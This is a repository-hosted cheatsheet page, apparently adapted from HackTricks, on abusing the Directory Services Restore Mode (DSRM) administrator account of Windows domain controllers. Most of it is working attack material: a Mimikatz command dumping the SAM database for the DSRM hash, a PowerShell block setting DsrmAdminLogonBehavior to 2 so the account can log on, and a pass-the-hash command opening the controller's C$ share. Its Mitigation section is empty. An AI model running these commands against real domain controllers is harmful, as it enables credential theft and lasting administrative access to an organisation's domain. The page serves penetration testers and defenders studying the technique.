repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
dsrm-credentials.mdMarkdown55 lines3.0 KiBsource raw download

title: "DSRM Credentials" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/active-directory-methodology/dsrm-credentials.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/dsrm-credentials.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

DSRM Credentials#

Basic Information#

Every domain controller has a Directory Services Restore Mode (DSRM) administrator account. Its password is set during domain-controller promotion and is separate from Active Directory domain accounts.[1]

An attacker with administrative control of a domain controller can dump the local SAM database and recover the DSRM Administrator NTLM hash. The following Mimikatz command performs that operation:[2]

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

By default, the DSRM account is intended for restore mode. Setting DsrmAdminLogonBehavior to 2 permits this local account to authenticate while the domain controller is running normally. Check the value before changing it:[2][3]

$lsaPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$current = Get-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue

if ($null -eq $current) {
    New-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD
} else {
    Set-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2
}

The recovered hash can then be used in a pass-the-hash session to access resources such as the administrative C$ share. For this local account, use the domain controller's computer name as the /domain value:[3]

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
# In the new PowerShell process, access C$ over NTLM.
ls \\dc-host-name\C$

Mitigation#

References#